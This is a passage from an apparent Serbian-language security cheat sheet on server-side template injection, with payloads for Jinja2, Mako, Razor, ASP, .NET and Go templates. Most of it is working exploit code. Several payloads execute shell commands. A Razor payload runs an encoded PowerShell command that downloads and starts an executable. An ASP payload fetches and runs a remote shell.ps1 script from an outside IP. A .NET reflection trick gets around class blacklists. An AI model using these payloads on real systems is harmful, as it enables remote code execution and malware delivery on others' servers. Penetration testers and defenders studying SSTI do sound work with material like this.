{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Više detalja o tome kako zloupotrebiti Jinja:

Jinja2 SSTI

Ostali payloadi nalaze se na https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Više informacija

Other Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Metoda .NET-a System.Diagnostics.Process.Start može se iskoristiti za pokretanje bilo kog procesa na serveru i time kreiranje webshell-a. Primer ranjive web aplikacije možete pronaći na https://github.com/cnotin/RazorVulnerableApp

Više informacija

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Više informacija

.Net Zaobilaženje ograničenja

The .NET Reflection mehanizmi se mogu koristiti za zaobilaženje blacklisting-a ili kada klase nisu prisutne u assembly-ju. DLL-ovi se mogu učitati u runtime-u sa metodama i svojstvima dostupnim iz osnovnih objekata.

Dll’s can be loaded with:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - from filesystem.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - directly from request.

Potpuno izvršavanje komandi:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Više informacija

Mojolicious (Perl)

Čak iako je Perl, koristi tagove kao ERB u Rubyju.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

U Go-ovom template engine-u, potvrda da se koristi može se uraditi pomoću specifičnih payload-ova:

  • {{ . }}: Otkriva strukturu podataka koja je prosleđena. Na primer, ako se prosledi objekat sa atributom Password, {{ .Password }} bi mogao da ga otkrije.
  • {{printf "%s" "ssti" }}: Očekuje se da prikaže string “ssti”.
  • {{html "ssti"}}, {{js "ssti"}}: Ovi payload-ovi bi trebali da vrate “ssti” bez dodavanja “html” ili “js”. Dodatne direktive mogu se proučiti u Go dokumentaciji ovde.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

Sa paketom text/template, XSS može biti jednostavan ubacivanjem payload-a direktno. Nasuprot tome, paket html/template enkodira odgovor da to spreči (npr. {{"<script>alert(1)</script>"}} rezultira &lt;script&gt;alert(1)&lt;/script&gt;). Ipak, definicija i pozivanje template-a u Go mogu zaobići ovo enkodiranje: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Kopiraj kod

RCE Exploitation

RCE eksploatacija se značajno razlikuje između html/template i text/template. Modul text/template dozvoljava pozivanje bilo koje public funkcije direktno (koristeći vrednost “call”), što nije dopušteno u html/template. Dokumentacija za ove module je dostupna ovde za html/template i ovde za text/template.

Za RCE putem SSTI u Go, mogu se pozivati metode objekata. Na primer, ako prosleđeni objekat ima System metodu koja izvršava komande, može se iskoristiti kao {{ .System "ls" }}. Obično je neophodno pristupiti source kodu da bi se ovo iskoristilo, kao u datom primeru:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Više informacija

LESS (CSS preprocesor)

LESS je popularan CSS preprocesor koji dodaje varijable, mixins, funkcije i moćnu @import direktivu. Tokom kompilacije LESS engine će preuzeti resurse na koje se pozivaju @import izjave i ugraditi (“inline”) njihov sadržaj u rezultujući CSS kada je opcija (inline) uključena.

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

More Exploits

Proverite ostatak https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection za više exploits. Takođe možete pronaći zanimljive informacije o tags u https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Povezana pomoć

Ako mislite da bi to moglo biti korisno, pročitajte:

Alati

Brute-Force Detection List

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks